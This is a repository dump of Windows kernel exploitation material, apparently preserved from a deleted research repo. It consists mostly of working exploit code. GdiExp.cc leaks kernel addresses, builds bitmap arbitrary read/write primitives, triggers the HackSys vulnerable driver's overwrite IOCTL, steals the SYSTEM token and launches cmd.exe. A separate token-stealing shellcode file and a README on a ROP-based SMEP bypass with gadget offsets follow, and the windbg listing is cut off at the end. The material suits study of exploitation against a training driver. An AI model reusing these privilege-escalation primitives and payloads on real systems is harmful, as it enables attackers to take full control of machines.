SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; 132 | } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; 133 | 134 | typedef NTSTATUS(__stdcall *pfZwQuerySystemInformation)( 135 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 136 | PVOID SystemInformation, 137 | ULONG SystemInformationLength, 138 | PULONG ReturnLength 139 | ); 140 | 141 | DWORD len; 142 | PSYSTEM_MODULE_INFORMATION ModuleInfo; 143 | PVOID Nt = NULL; 144 | 145 | // Dynamic import. 146 | pfZwQuerySystemInformation ZwQuerySystemInformation = (pfZwQuerySystemInformation)GetProcAddress( 147 | GetModuleHandle(L"ntdll.dll"), "ZwQuerySystemInformation"); 148 | ZwQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); 149 | 150 | // Requere Medium integrity level ( > win7 ), 151 | // if run from low il, then return NULL. 152 | ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc( 153 | NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 154 | if (!ModuleInfo) { return NULL; } 155 | ZwQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len); 156 | Nt = ModuleInfo->Module[0].ImageBase; 157 | 158 | // No longer needed, free the memory. 159 | VirtualFree(ModuleInfo, 0, MEM_RELEASE); 160 | return (PUCHAR)Nt; 161 | } 162 | 163 | DWORD64 164 | GetPsInitialSystemProcess( 165 | ) 166 | { 167 | PUCHAR NtBaddr = (PUCHAR)GetNtos(); 168 | printf("[+] ntoskrnl Base Addr: %p\n", NtBaddr); 169 | PUCHAR ntos = (PUCHAR)LoadLibrary(L"ntoskrnl.exe"); 170 | PUCHAR addr = (PUCHAR)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess"); 171 | auto Psi = addr - ntos + NtBaddr; 172 | printf("[+] PsInitialSystemProcess: %p\n", Psi); 173 | return (DWORD64)Psi; 174 | } 175 | 176 | ATOM 177 | RegisterhWnd( 178 | LPCWSTR class_name, 179 | LPCWSTR menu_name 180 | ) 181 | { 182 | WNDCLASS wind_class = WNDCLASS(); 183 | wind_class.lpszClassName = class_name; 184 | wind_class.lpszMenuName = menu_name; 185 | wind_class.lpfnWndProc = MainWProc; 186 | return RegisterClassW(&wind_class); 187 | } 188 | 189 | void 190 | DestroyWnd( 191 | HWND hWnd 192 | ) 193 | { 194 | DestroyWindow(hWnd); 195 | UnregisterClassW(L"aaa",NULL); 196 | } 197 | 198 | HWND 199 | CreateWindowObject( 200 | ) 201 | { 202 | WCHAR* Buff = new WCHAR[0x8F0]; 203 | RtlSecureZeroMemory(Buff, 0x8F0); 204 | RtlFillMemory(Buff, 0x8F0, '\x41'); 205 | ATOM Cls = RegisterhWnd(L"aaa" ,Buff); 206 | return CreateWindowExW(0, L"aaa", NULL, 0, 0, 0, 0, 0, 0, 0, NULL, 0); 207 | } 208 | 209 | DWORD64 210 | LeaklpszMenuName( 211 | HWND hWnd 212 | ) 213 | { 214 | DWORD64 pCLSOffset = 0xa8; 215 | DWORD64 lpszMenuNameOffset = 0x90; 216 | BOOL bRet = GetHMValidateHandle(); 217 | uintptr_t lpUserDesktopHeapWindow = (uintptr_t)pHmValidateHandle(hWnd, 1); 218 | uintptr_t ulClientDelta = *reinterpret_cast((DWORD64)(lpUserDesktopHeapWindow) + 0x20) - (DWORD64)(lpUserDesktopHeapWindow); 219 | uintptr_t KerneltagCLS = *reinterpret_cast((DWORD64)lpUserDesktopHeapWindow+ pCLSOffset); 220 | DWORD64 lpszMenuName = *reinterpret_cast(KerneltagCLS - ulClientDelta + lpszMenuNameOffset); 221 | return lpszMenuName; 222 | } 223 | 224 | VOID 225 | SprayPool( 226 | ) 227 | { 228 | for (int i = 0; i <= 1000; i++) { 229 | HWND TestWindowHandle = CreateWindowObject(); 230 | auto Curr = LeaklpszMenuName(TestWindowHandle); 231 | //if (i % 25) { 232 | //printf("%d\n",i); 233 | DestroyWnd(TestWindowHandle); 234 | //} 235 | } 236 | } 237 | 238 | BOOL 239 | Leak( 240 | _In_ int y, 241 | _In_ HBMP &hbmp 242 | ) 243 | { 244 | //if (y == 0) { 245 | // SprayPool(); 246 | //} 247 | 248 | DWORD64 Curr, Prev = NULL; 249 | 250 | for (int i = 0; i <= 20; i++) { 251 | HWND TestWindowHandle = CreateWindowObject(); 252 | Curr = LeaklpszMenuName(TestWindowHandle); 253 | if (1<=i) { 254 | if (Curr == Prev) { 255 | DestroyWnd(TestWindowHandle); 256 | //return TRUE; 257 | break; 258 | } 259 | } 260 | DestroyWnd(TestWindowHandle); 261 | Prev = Curr; 262 | } 263 | 264 | WCHAR* Buff = new WCHAR[0x50 * 2 * 4]; 265 | RtlSecureZeroMemory(Buff, 0x50 * 2 * 4); 266 | RtlFillMemory(Buff, 0x50 * 2 * 4, '\x41'); 267 | hbmp.hBmp = CreateBitmap(0x701, 2, 1, 8, Buff); 268 | hbmp.kAddr = Curr; 269 | hbmp.pvScan0 = (PUCHAR)(Curr + 0x50); 270 | 271 | return TRUE; 272 | } 273 | 274 | int 275 | main( 276 | ) 277 | { 278 | 279 | printf("\n[!] gdi feng shui ..\n"); 280 | printf("[>] Spraying the pool\n"); 281 | printf("[>] leaking ulClientDelta...\n"); 282 | HBMP managerBitmap; 283 | HBMP workerBitmap; 284 | if (!Leak(0, managerBitmap)) { 285 | exit(GetLastError()); 286 | } 287 | if (!Leak(1, workerBitmap)) { 288 | exit(GetLastError()); 289 | } 290 | 291 | printf("\n[+] pHmValidateHandle: %p \n", pHmValidateHandle); 292 | printf("[+] hMgr: %p\n", &managerBitmap.hBmp); 293 | printf("[+] hWorker: %p\n", &workerBitmap.hBmp); 294 | printf("[+] Mgr pvScan0 offset: %p\n", managerBitmap.kAddr & -0xfff); 295 | printf("[+] Wrk pvScan0 offset: %p\n", workerBitmap.kAddr & -0xfff); 296 | 297 | int s; 298 | scanf("%d", &s); 299 | 300 | int y; 301 | scanf("%d", &y); 302 | return 0; 303 | } 304 | -------------------------------------------------------------------------------- /Primitives/New Text Document.txt: -------------------------------------------------------------------------------- 1 | ... -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # All credits go to akayn on Github. This repo is just a preserved version of his repository before it was deleted. 2 | 3 | # Windows Kernel Exploitation. 4 | Static & dynamic analysis, exploits & vuln reasearch.
5 | Mitigations bypass's
6 | 7 | # Contents: 8 | HEVD-Vanilla-Bug-Class's:
9 | Exploits & Vuln Note's in order to reproduce & reuse.
10 | * HEVD-Vanilla-Bug-Class's
11 | [+] Compiled-win7x86
12 | * Type Confusion.
13 | * Arbitrary Overwrite.
14 | * Null Pointer Dereference.
15 | * Pool OverFlow.
16 | * Stack OverFlow.
17 | * Use After Free.
18 | * Uninitialized Stack Variable.
19 | 20 | kd & dev:
21 | * ShellCode: pl.asm
22 | * kernelLeaks: leak bitmap bAddr with HMValidateHandle
23 | 24 | Mitigations Bypass:
25 | * [RS3-Compatible] ROP Based SMEP Bypass including Gadgets & full debugging info: SmepBypassX64Win10RS3.c
26 | * [<= RS2-Compatible] BitMap Arbitrary OverWrite: GdiExp.cc
27 | * [!] NOTE: the above is not stable & will work 1/10 in the good case... 28 | i will fix in the future. 29 | 30 | Re & exploits:
31 | * Study Case's:
32 | [+] TODO
...
33 | ...

34 | 35 | # External Resources: 36 | * Memory-Management:
37 | [+] MIT.
38 | * C programming:
39 | [+] HASH TABLE.
40 | * asseambly:
41 | [+] TUT.
42 | 43 | * HEVD & Basics:
44 | [+] HackSysExtremeVulnerableDriver.
45 | [+] B33F tuto.
46 | [^] Some of the Vuln Note's in the code were taken from there.
47 | [+] ShellCoding & kd.
48 | * Mitigations:
49 | [+] SMEP:
50 | * wiki.
51 | * j00ru.
52 | * Enrique Nissim & Nicolas Economou.
53 | * PTE-OverWrite.
54 | * return oriented Programming.
55 | [+] k-ASLR:
56 | * Morten Schenk.
57 | [+] ReadWrite Primitives:
58 | * abusing gdi objects.
59 | 60 | Tools:
61 | * gadget finder.
62 | * gdi-dump windbg extension.
63 | * digtool fuzzer.
64 | * winafl.
65 | 66 | 67 | Software:
68 | * kd.
69 | * Symbols.
70 | * Ida.
71 | * NASM.
72 | * Hxd.
73 | 74 | # See Also: 75 | * Smep PoC.
76 | * GdiExp.
77 | 78 | # Credits 79 | many tnx to all the great ppl b4 me that did much work already!
80 | 81 | * HackSys Team.
82 | * b33f.
83 | * cn33liz.
84 | * tekwizz123.
85 | * GradiusX.
86 | * sam-b.
87 | & all others... 88 | 89 | -------------------------------------------------------------------------------- /Win10/BitMap_Win_10_15063.0.amd64fre.rs2_release.170317-1834/Bin/GdiExp.7z: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tekwizz123/demos/eec3d4838b03b42b816a6b14a8464ee0e1456cb0/Win10/BitMap_Win_10_15063.0.amd64fre.rs2_release.170317-1834/Bin/GdiExp.7z -------------------------------------------------------------------------------- /Win10/BitMap_Win_10_15063.0.amd64fre.rs2_release.170317-1834/GdiExp.cc: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | leak lpszMenuName using HMValidateHandle, that is allocated on the same pool region 4 | as the bitmap object, in order to later use in an arbitrary overwrite bug. 5 | using SeBitmapBits & GetBitmapBits as w/r op. 6 | Ref: 7 | https://github.com/FuzzySecurity/HackSysTeam-PSKernelPwn/blob/master/Kernel_RS2_WWW_GDI_64.ps1 8 | https://github.com/sam-b/windows_kernel_address_leaks/blob/master/HMValidateHandle/HMValidateHandle/HMValidateHandle.cpp 9 | Win32k Dark Composition: Attacking the Shadow part of Graphic subsystem <= 360Vulcan 10 | LPE vulnerabilities exploitation on Windows 10 Anniversary Update <= Drozdov Yurii & Drozdova Liudmila 11 | 12 | <---- 13 | 14 | Copy & usage of this software are allowed without any restrictions. 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | ----> 24 | */ 25 | 26 | 27 | 28 | #pragma once 29 | #include "stdafx.h" 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | #pragma comment(lib, "Gdi32.lib") 36 | 37 | #include 38 | 39 | #define hDev "\\\\.\\HacksysExtremeVulnerableDriver" 40 | 41 | typedef void*(NTAPI *lHMValidateHandle)( 42 | HWND h, 43 | int type 44 | ); 45 | 46 | typedef struct _hBmp { 47 | HBITMAP hBmp; 48 | DWORD64 kAddr; 49 | PUCHAR pvScan0; 50 | } HBMP, *PHBMP; 51 | 52 | LRESULT 53 | CALLBACK MainWProc( 54 | HWND hWnd, UINT uMsg, 55 | WPARAM wParam, LPARAM lParam 56 | ) 57 | { 58 | return DefWindowProc(hWnd, uMsg, wParam, lParam); 59 | } 60 | 61 | lHMValidateHandle pHmValidateHandle = NULL; 62 | 63 | // https://github.com/sam-b/windows_kernel_address_leaks/blob/master/HMValidateHandle/HMValidateHandle/HMValidateHandle.cpp 64 | BOOL 65 | GetHMValidateHandle( 66 | ) 67 | { 68 | HMODULE hUser32 = LoadLibraryA("user32.dll"); 69 | if (hUser32 == NULL) { 70 | exit(GetLastError()); 71 | } 72 | 73 | BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu"); 74 | if (pIsMenu == NULL) { 75 | exit(GetLastError()); 76 | } 77 | unsigned int uiHMValidateHandleOffset = 0; 78 | for (unsigned int i = 0; i < 0x1000; i++) { 79 | BYTE* test = pIsMenu + i; 80 | if (*test == 0xe8) { 81 | uiHMValidateHandleOffset = i + 1; 82 | break; 83 | } 84 | } 85 | if (uiHMValidateHandleOffset == 0) { 86 | exit(GetLastError()); 87 | } 88 | 89 | unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset); 90 | unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr; 91 | pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11); 92 | return TRUE; 93 | } 94 | 95 | PUCHAR 96 | GetNtos( 97 | ) 98 | { 99 | typedef enum _SYSTEM_INFORMATION_CLASS { 100 | SystemBasicInformation = 0, 101 | SystemPerformanceInformation = 2, 102 | SystemTimeOfDayInformation = 3, 103 | SystemProcessInformation = 5, 104 | SystemProcessorPerformanceInformation = 8, 105 | SystemModuleInformation = 11, 106 | SystemInterruptInformation = 23, 107 | SystemExceptionInformation = 33, 108 | SystemRegistryQuotaInformation = 37, 109 | SystemLookasideInformation = 45 110 | } SYSTEM_INFORMATION_CLASS; 111 | 112 | typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { 113 | HANDLE Section; 114 | PVOID MappedBase; 115 | PVOID ImageBase; 116 | ULONG ImageSize; 117 | ULONG Flags; 118 | USHORT LoadOrderIndex; 119 | USHORT InitOrderIndex; 120 | USHORT LoadCount; 121 | USHORT OffsetToFileName; 122 | UCHAR FullPathName[256]; 123 | } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; 124 | 125 | typedef struct _SYSTEM_MODULE_INFORMATION { 126 | ULONG NumberOfModules; 127 | SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; 128 | } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; 129 | 130 | typedef NTSTATUS(__stdcall *pfZwQuerySystemInformation)( 131 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 132 | PVOID SystemInformation, 133 | ULONG SystemInformationLength, 134 | PULONG ReturnLength 135 | ); 136 | 137 | DWORD len; 138 | PSYSTEM_MODULE_INFORMATION ModuleInfo; 139 | PVOID Nt = NULL; 140 | pfZwQuerySystemInformation ZwQuerySystemInformation = (pfZwQuerySystemInformation)GetProcAddress( 141 | GetModuleHandle(L"ntdll.dll"), "ZwQuerySystemInformation"); 142 | ZwQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); 143 | ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc( 144 | NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 145 | if (!ModuleInfo) { return NULL; } 146 | ZwQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len); 147 | Nt = ModuleInfo->Module[0].ImageBase; 148 | VirtualFree(ModuleInfo, 0, MEM_RELEASE); 149 | return (PUCHAR)Nt; 150 | } 151 | 152 | DWORD64 153 | GetPsInitialSystemProcess( 154 | ) 155 | { 156 | PUCHAR NtBaddr = (PUCHAR)GetNtos(); 157 | printf("[+] ntoskrnl Base Addr: %p\n", NtBaddr); 158 | PUCHAR ntos = (PUCHAR)LoadLibrary(L"ntoskrnl.exe"); 159 | PUCHAR addr = (PUCHAR)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess"); 160 | auto Psi = addr - ntos + NtBaddr; 161 | printf("[+] PsInitialSystemProcess: %p\n", Psi); 162 | return (DWORD64)Psi; 163 | } 164 | 165 | ATOM 166 | RegisterhWnd( 167 | LPCWSTR class_name, 168 | LPCWSTR menu_name 169 | ) 170 | { 171 | WNDCLASS wind_class = WNDCLASS(); 172 | wind_class.lpszClassName = class_name; 173 | wind_class.lpszMenuName = menu_name; 174 | wind_class.lpfnWndProc = MainWProc; 175 | return RegisterClassW(&wind_class); 176 | } 177 | 178 | void 179 | DestroyWnd( 180 | HWND hWnd 181 | ) 182 | { 183 | DestroyWindow(hWnd); 184 | UnregisterClassW(L"aaa",NULL); 185 | } 186 | 187 | HWND 188 | CreateWindowObject( 189 | ) 190 | { 191 | WCHAR* Buff = new WCHAR[0x8F0]; 192 | RtlSecureZeroMemory(Buff, 0x8F0); 193 | RtlFillMemory(Buff, 0x8F0, '\x41'); 194 | ATOM Cls = RegisterhWnd(L"aaa" ,Buff); 195 | return CreateWindowExW(0, L"aaa", NULL, 0, 0, 0, 0, 0, 0, 0, NULL, 0); 196 | } 197 | 198 | DWORD64 199 | LeaklpszMenuName( 200 | HWND hWnd 201 | ) 202 | { 203 | DWORD64 pCLSOffset = 0xa8; 204 | DWORD64 lpszMenuNameOffset = 0x90; 205 | BOOL bRet = GetHMValidateHandle(); 206 | void* lpUserDesktopHeapWindow = pHmValidateHandle(hWnd, 1); 207 | uintptr_t ulClientDelta = *reinterpret_cast((DWORD64*)(lpUserDesktopHeapWindow) +0x20) - (DWORD64)(lpUserDesktopHeapWindow); 208 | uintptr_t KerneltagCLS = *reinterpret_cast((DWORD64)lpUserDesktopHeapWindow+ pCLSOffset); 209 | DWORD64 lpszMenuName = *reinterpret_cast(KerneltagCLS - ulClientDelta + lpszMenuNameOffset); 210 | return lpszMenuName; 211 | } 212 | 213 | BOOL 214 | Leak( 215 | _In_ int y, 216 | _In_ HBMP &hbmp 217 | ) 218 | { 219 | 220 | DWORD64 Curr, Prev = NULL; 221 | 222 | for (int i = 0; i <= 200; i++) { // This is unstable, need a fix... 223 | // the ulClientDelta is dancing beetwin values 224 | // & it makes the exploit unstable it a one out of 15... 225 | HWND TestWindowHandle = CreateWindowObject(); 226 | Curr = LeaklpszMenuName(TestWindowHandle); 227 | if (1<=i) { 228 | if (Curr == Prev) { 229 | DestroyWnd(TestWindowHandle); 230 | WCHAR* Buff = new WCHAR[0x50 * 2 * 4]; 231 | RtlSecureZeroMemory(Buff, 0x50 * 2 * 4); 232 | RtlFillMemory(Buff, 0x50 * 2 * 4, '\x41'); 233 | hbmp.hBmp = CreateBitmap(0x701, 2, 1, 8, Buff); 234 | hbmp.kAddr = Curr; 235 | hbmp.pvScan0 = (PUCHAR)(Curr + 0x50); 236 | return TRUE; 237 | } 238 | } 239 | DestroyWnd(TestWindowHandle); 240 | Prev = Curr; 241 | } 242 | 243 | WCHAR* Buff = new WCHAR[0x50 * 2 * 4]; 244 | RtlSecureZeroMemory(Buff, 0x50 * 2 * 4); 245 | RtlFillMemory(Buff, 0x50 * 2 * 4, '\x41'); 246 | hbmp.hBmp = CreateBitmap(0x701, 2, 1, 8, Buff); 247 | hbmp.kAddr = Curr; 248 | hbmp.pvScan0 = (PUCHAR)(Curr + 0x50); 249 | 250 | return TRUE; 251 | } 252 | 253 | DWORD64 254 | BitmapArbitraryRead( 255 | HBITMAP &Mgr, // Send a Fkin reference! 256 | HBITMAP &Wrk, 257 | DWORD64 addr 258 | ) 259 | { 260 | 261 | LPVOID bRet = VirtualAlloc( 262 | 0, sizeof(addr), 263 | MEM_COMMIT | MEM_RESERVE, 264 | PAGE_READWRITE 265 | ); 266 | auto m = SetBitmapBits(Mgr, sizeof(addr), (LPVOID *)&addr); 267 | if (m == 0) { 268 | printf("error setting bits!"); 269 | } 270 | 271 | if (GetBitmapBits(Wrk, sizeof(bRet), bRet) == NULL) { 272 | printf("err"); 273 | } 274 | auto retV = *((DWORD64 *)bRet); 275 | VirtualFree( bRet, sizeof(bRet), MEM_FREE | MEM_RELEASE ); 276 | return retV; 277 | } 278 | 279 | DWORD64 BitmapArbitraryWrite( 280 | HBITMAP &Mgr, 281 | HBITMAP &Wrk, 282 | DWORD64 addr, 283 | DWORD64 Val 284 | ) 285 | { 286 | 287 | SetBitmapBits(Mgr, 8, (LPVOID *)&addr); 288 | 289 | if (SetBitmapBits(Wrk, 8, &Val) == 0) { 290 | return -1; 291 | } 292 | return(0); 293 | } 294 | 295 | int 296 | main( 297 | ) 298 | { 299 | 300 | printf("\n[!] gdi feng shui ..\n"); 301 | printf("[>] Spraying the pool\n"); 302 | printf("[>] leaking ulClientDelta...\n"); 303 | HBMP managerBitmap; 304 | HBMP workerBitmap; 305 | if (!Leak(0, managerBitmap)) { 306 | exit(GetLastError()); 307 | } 308 | if (!Leak(1, workerBitmap)) { 309 | exit(GetLastError()); 310 | } 311 | 312 | printf("\n[+] pHmValidateHandle: %p \n", pHmValidateHandle); 313 | printf("[+] hMgr: %p\n", &managerBitmap.hBmp); 314 | printf("[+] hWorker: %p\n", &workerBitmap.hBmp); 315 | printf("[+] Mgr pvScan0 offset: %p\n", managerBitmap.kAddr & -0xfff); 316 | printf("[+] Wrk pvScan0 offset: %p\n", workerBitmap.kAddr & -0xfff); 317 | 318 | //getch(); 319 | 320 | byte Buff[sizeof(LPVOID) * 2] = { 0 }; 321 | 322 | LPVOID wPtr = VirtualAlloc(0, sizeof(LPVOID), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 323 | memcpy(wPtr, &workerBitmap.pvScan0, sizeof(LPVOID)); 324 | memcpy(Buff, &wPtr, sizeof(LPVOID)); 325 | memcpy(Buff + sizeof(LPVOID), &managerBitmap.pvScan0, sizeof(LPVOID)); 326 | 327 | DWORD u = 0; 328 | 329 | auto dev = CreateFileA( 330 | hDev, 331 | GENERIC_READ | GENERIC_WRITE, 332 | FILE_SHARE_WRITE, 333 | NULL, 334 | OPEN_EXISTING, 335 | FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, 336 | NULL 337 | ); 338 | 339 | if (dev == INVALID_HANDLE_VALUE) { 340 | exit(GetLastError()); } 341 | 342 | printf("\n[>] ldr\n"); 343 | printf("[+] Opened Device Handle at: %p\n", &dev); 344 | printf("[+] Device Name: %s\n", hDev); 345 | printf("[+] Sending Ioctl: %p\n", 0x22200B); 346 | printf("[+] Buffer length: %d\n", sizeof(LPVOID) * 2); 347 | 348 | auto bResult = DeviceIoControl( 349 | dev, 350 | 0x22200B, 351 | Buff, 352 | sizeof(Buff), 353 | NULL, 0, 354 | &u, 355 | (LPOVERLAPPED)NULL 356 | ); 357 | 358 | if (!bResult) { 359 | CloseHandle(dev); 360 | exit(GetLastError()); 361 | } 362 | 363 | CloseHandle(dev); 364 | 365 | DWORD64 EpPtr = GetPsInitialSystemProcess(); 366 | printf("\n[!] running exploit...\n\n\n"); 367 | 368 | 369 | /* 370 | 371 | This is The ShellCode used to OverWrite The Token... 372 | it worked in the asseambly so no reason it wont work here... 373 | 374 | ;; kd> dps gs:188 l1 375 | ;; nt!KiInitialThread 376 | mov rax, [gs:0x188] 377 | mov rax, [rax+0xb8] 378 | ;; kd> dt nt!_EPROCESS poi(nt!KiInitialThread+b8) 379 | ;; +0x000 Pcb : _KPROCESS 380 | ;; [...] 381 | ;; +0x2e0 UniqueProcessId : 0x00000000`00000004 Void 382 | ;; +0x2e8 ActiveProcessLinks : _LIST_ENTRY 383 | ;; [...] 384 | ;; +0x358 Token : _EX_FAST_REF 385 | ;; 386 | ;; place KiInitialThread+b8 387 | ;; in rbx. 388 | mov rbx, rax 389 | loop: 390 | mov rbx, [rbx+0x2e8] ;; Get the next process 391 | sub rbx, 0x2e8 392 | mov rcx, [rbx+0x2e0] ;; place process in rcx 393 | cmp rcx, 4 ;; Compare to System pid. 394 | jnz loop 395 | mov rcx, [rbx + 0x358] 396 | and cl, 0xf0 ;; Null the token 397 | mov [rax + 0x358], rcx 398 | 399 | 400 | */ 401 | 402 | DWORD64 SystemEP = BitmapArbitraryRead( 403 | managerBitmap.hBmp, workerBitmap.hBmp, EpPtr); 404 | if (SystemEP == -1) { 405 | return -1; 406 | } 407 | 408 | 409 | DWORD64 TokenPtr = SystemEP + 0x358; 410 | DWORD64 SysToken = BitmapArbitraryRead( 411 | managerBitmap.hBmp, workerBitmap.hBmp, TokenPtr); 412 | if (SysToken == -1) { 413 | } 414 | printf("System TOKEN: %p\n", SysToken); 415 | 416 | DWORD PID = GetCurrentProcessId(); 417 | DWORD64 NextEpPtr = BitmapArbitraryRead( 418 | managerBitmap.hBmp, workerBitmap.hBmp, ( 419 | ((DWORD64)SystemEP) + ((DWORD64)0x2e8))) - 0x2e8; 420 | 421 | 422 | DWORD64 CurrentToken = 0; 423 | 424 | 425 | while (TRUE) { 426 | 427 | DWORD64 NextProcessPID = BitmapArbitraryRead( 428 | managerBitmap.hBmp, workerBitmap.hBmp, ((DWORD64)NextEpPtr + 0x2e0)); 429 | if (NextProcessPID == PID) { 430 | CurrentToken = BitmapArbitraryRead( 431 | managerBitmap.hBmp, workerBitmap.hBmp, ((DWORD64)NextEpPtr + 0x358)); 432 | printf("Our TOKEN: %p\n\n\n", CurrentToken); 433 | break; 434 | } 435 | NextEpPtr = BitmapArbitraryRead( 436 | managerBitmap.hBmp, workerBitmap.hBmp, ( 437 | (DWORD64)NextEpPtr + 0x2e8)) - 0x2e8; 438 | } 439 | 440 | BitmapArbitraryWrite(managerBitmap.hBmp, workerBitmap.hBmp, ( 441 | (DWORD64)NextEpPtr + 0x358), ((DWORD64)SysToken & -0xf)); // Null The Damn Ref_count... 442 | 443 | system("cmd.exe"); 444 | return 0; 445 | } 446 | 447 | -------------------------------------------------------------------------------- /Win10/BitMap_Win_10_15063.0.amd64fre.rs2_release.170317-1834/README.md: -------------------------------------------------------------------------------- 1 | ![](/Win10/BitMap_Win_10_15063.0.amd64fre.rs2_release.170317-1834/poc/POC.PNG) 2 | -------------------------------------------------------------------------------- /Win10/BitMap_Win_10_15063.0.amd64fre.rs2_release.170317-1834/poc/POC.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tekwizz123/demos/eec3d4838b03b42b816a6b14a8464ee0e1456cb0/Win10/BitMap_Win_10_15063.0.amd64fre.rs2_release.170317-1834/poc/POC.PNG -------------------------------------------------------------------------------- /Win10/PayLoads/README.txt: -------------------------------------------------------------------------------- 1 | ... -------------------------------------------------------------------------------- /Win10/PayLoads/TokenStealingShellCode.asm: -------------------------------------------------------------------------------- 1 | ; compie with nasm: 2 | ; nasm.exe sc.asm 3 | ; 4 | ; Token Stealing Payload 5 | ; Win10 x64 RS3 16281. 6 | ; 7 | 8 | [bits 64] 9 | 10 | start: 11 | ;;push rax Change to the prolog you may need. 12 | ;;push rbx 13 | ;;push rcx 14 | ;;push rsp 15 | 16 | ;; kd> uf nt!PsGetCurrentProcess 17 | ;; nt!PsGetCurrentProcess: 18 | ;; mov rax,qword ptr gs:[188h] 19 | ;; mov rax,qword ptr [rax+0B8h] 20 | ;; ret 21 | 22 | ;; kd> dps gs:188 l1 23 | ;; nt!KiInitialThread 24 | 25 | mov rax, [gs:0x188] 26 | mov rax, [rax+0xb8] 27 | 28 | ;; kd> dt nt!_EPROCESS poi(nt!KiInitialThread+b8) 29 | ;; +0x000 Pcb : _KPROCESS 30 | ;; [...] 31 | ;; +0x2e0 UniqueProcessId : 0x00000000`00000004 Void 32 | ;; +0x2e8 ActiveProcessLinks : _LIST_ENTRY 33 | ;; [...] 34 | ;; +0x358 Token : _EX_FAST_REF 35 | ;; 36 | 37 | ;; place KiInitialThread+b8 38 | ;; in rbx. 39 | 40 | mov rbx, rax 41 | loop: 42 | mov rbx, [rbx+0x2e8] ;; Get the next process 43 | sub rbx, 0x2e8 44 | mov rcx, [rbx+0x2e0] ;; place process in rcx 45 | cmp rcx, 4 ;; Compare to System pid. 46 | jnz loop 47 | 48 | mov rcx, [rbx + 0x358] 49 | and cl, 0xf0 ;; Null the token's ref_count 50 | mov [rax + 0x358], rcx ;; Override current process token. 51 | 52 | 53 | ;;pop rcx 54 | ;;pop rbx 55 | ;;pop rax 56 | ;;xor rax, rax ;; Change to the epilogue you need. 57 | ;;xor rsi, rsi 58 | ;;xor rdi, rdi 59 | ;;pop rsp 60 | ;;add rsp, 28 61 | ret 62 | -------------------------------------------------------------------------------- /Win10/README.md: -------------------------------------------------------------------------------- 1 | .. 2 | -------------------------------------------------------------------------------- /Win10/SmepByPassWin10x64build.16281Rs3/README.md: -------------------------------------------------------------------------------- 1 | # Proof Of Concept: 2 | 3 | # SMEP bypass on Win10x64 RS3 16281 4 | ![](poc/QuickPoc.gif) 5 | # Gadgets Summery: 6 | 7 | ```c 8 | 9 | /* 10 | ************* Symbol Path validation summary ************** 11 | Response Time (ms) Location 12 | Deferred srv* 13 | Symbol search path is: srv* 14 | Executable search path is: 15 | Windows 10 Kernel Version 16281 MP (1 procs) Free x64 16 | Built by: 16281.1000.amd64fre.rs3_release.170829-1438 17 | Machine Name: 18 | Kernel base = 0xfffff803`a8a10000 PsLoadedModuleList = 0xfffff803`a8d79f70 19 | System Uptime: 0 days 0:00:00.419 20 | KDTARGET: Refreshing KD connection 21 | Break instruction exception - code 80000003 (first chance) 22 | kd> uf nt!KiFlushCurrentTbWorker 23 | nt!KiFlushCurrentTbWorker: 24 | fffff803`a8ab9b0c 0f20e1 mov rcx,cr4 25 | fffff803`a8ab9b0f 84c9 test cl,cl 26 | fffff803`a8ab9b11 790f jns nt!KiFlushCurrentTbWorker+0x16 (fffff803`a8ab9b22) Branch 27 | nt!KiFlushCurrentTbWorker+0x7: 28 | fffff803`a8ab9b13 488bc1 mov rax,rcx 29 | fffff803`a8ab9b16 480fbaf007 btr rax,7 30 | fffff803`a8ab9b1b 0f22e0 mov cr4,rax 31 | fffff803`a8ab9b1e 0f22e1 mov cr4,rcx <<<< -- gadget.. 32 | fffff803`a8ab9b21 c3 ret 33 | nt!KiFlushCurrentTbWorker+0x16: 34 | fffff803`a8ab9b22 0f20d8 mov rax,cr3 35 | fffff803`a8ab9b25 0f22d8 mov cr3,rax 36 | fffff803`a8ab9b28 c3 ret 37 | kd> ? fffff803`a8ab9b1e - 0xfffff803`a8a10000 38 | Evaluate expression: 695070 = 00000000`000a9b1e <<< -- offset from Ntoskrnl... 39 | kd> uf nt!HvlEndSystemInterrupt 40 | nt!HvlEndSystemInterrupt: 41 | 